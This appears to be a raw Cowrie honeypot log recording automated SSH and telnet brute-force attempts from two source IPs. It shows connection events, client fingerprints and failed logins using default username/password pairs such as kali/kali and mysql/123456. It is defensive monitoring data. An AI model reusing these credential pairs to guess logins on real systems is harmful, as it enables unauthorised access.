{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:02.325604Z","src_ip":"47.86.95.62","session":"e28210ad3fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51144,"dst_ip":"10.17.0.5","dst_port":22,"session":"988883b9b7c4","protocol":"ssh","message":"New connection: 47.86.95.62:51144 (10.17.0.5:22) [session: 988883b9b7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:25.617440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:26.027071Z","src_ip":"47.86.95.62","session":"988883b9b7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:26.450681Z","src_ip":"47.86.95.62","session":"988883b9b7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:27.559564Z","src_ip":"47.86.95.62","session":"988883b9b7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:28.799478Z","src_ip":"47.86.95.62","session":"988883b9b7c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39104,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd9ac051959","protocol":"ssh","message":"New connection: 47.86.95.62:39104 (10.17.0.5:22) [session: 7cd9ac051959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:32.376456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:32.381148Z","src_ip":"47.86.95.62","session":"7cd9ac051959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:32.591429Z","src_ip":"47.86.95.62","session":"7cd9ac051959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:33.218852Z","src_ip":"47.86.95.62","session":"7cd9ac051959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:34.431311Z","src_ip":"47.86.95.62","session":"7cd9ac051959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00196409225464,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:35.402411Z","src_ip":"187.222.242.146","session":"b02796f4ad8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39114,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3913d959a30","protocol":"ssh","message":"New connection: 47.86.95.62:39114 (10.17.0.5:22) [session: d3913d959a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:37.009752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:37.014164Z","src_ip":"47.86.95.62","session":"d3913d959a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:37.230542Z","src_ip":"47.86.95.62","session":"d3913d959a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014865398407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:37.498559Z","src_ip":"187.222.242.146","session":"79e69e4efdc5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:37.877399Z","src_ip":"47.86.95.62","session":"d3913d959a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:50.748260Z","src_ip":"47.86.95.62","session":"d3913d959a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":56614,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a7dd2bc2e5","protocol":"telnet","message":"New connection: 187.222.242.146:56614 (159.203.135.109:23) [session: 88a7dd2bc2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:53.717715Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":56626,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6c397b79a00","protocol":"telnet","message":"New connection: 187.222.242.146:56626 (159.203.135.109:23) [session: d6c397b79a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:53.742316Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43512,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0ca02a95417","protocol":"ssh","message":"New connection: 47.86.95.62:43512 (10.17.0.5:22) [session: e0ca02a95417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:26.197885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:26.203660Z","src_ip":"47.86.95.62","session":"e0ca02a95417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:26.453629Z","src_ip":"47.86.95.62","session":"e0ca02a95417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:27.309035Z","src_ip":"47.86.95.62","session":"e0ca02a95417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:28.515865Z","src_ip":"47.86.95.62","session":"e0ca02a95417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50450,"dst_ip":"10.17.0.5","dst_port":22,"session":"8748bd7b02ff","protocol":"ssh","message":"New connection: 47.86.95.62:50450 (10.17.0.5:22) [session: 8748bd7b02ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:32.926943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:32.931716Z","src_ip":"47.86.95.62","session":"8748bd7b02ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:33.142814Z","src_ip":"47.86.95.62","session":"8748bd7b02ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:33.773237Z","src_ip":"47.86.95.62","session":"8748bd7b02ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:34.983983Z","src_ip":"47.86.95.62","session":"8748bd7b02ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50456,"dst_ip":"10.17.0.5","dst_port":22,"session":"72d6a48a0a61","protocol":"ssh","message":"New connection: 47.86.95.62:50456 (10.17.0.5:22) [session: 72d6a48a0a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:38.333867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:47.807016Z","src_ip":"47.86.95.62","session":"72d6a48a0a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:47.812312Z","src_ip":"47.86.95.62","session":"72d6a48a0a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:00:58.447506Z","src_ip":"47.86.95.62","session":"72d6a48a0a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:00.112039Z","src_ip":"47.86.95.62","session":"72d6a48a0a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59224,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed6f6d755ad","protocol":"ssh","message":"New connection: 47.86.95.62:59224 (10.17.0.5:22) [session: 7ed6f6d755ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:13.466728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:13.616879Z","src_ip":"47.86.95.62","session":"7ed6f6d755ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:13.671920Z","src_ip":"47.86.95.62","session":"7ed6f6d755ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:14.475610Z","src_ip":"47.86.95.62","session":"7ed6f6d755ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:15.717542Z","src_ip":"47.86.95.62","session":"7ed6f6d755ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59240,"dst_ip":"10.17.0.5","dst_port":22,"session":"75f7f02094f8","protocol":"ssh","message":"New connection: 47.86.95.62:59240 (10.17.0.5:22) [session: 75f7f02094f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:19.007654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:19.013599Z","src_ip":"47.86.95.62","session":"75f7f02094f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:19.224102Z","src_ip":"47.86.95.62","session":"75f7f02094f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:19.854318Z","src_ip":"47.86.95.62","session":"75f7f02094f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:21.068219Z","src_ip":"47.86.95.62","session":"75f7f02094f8","protocol":"ssh"}
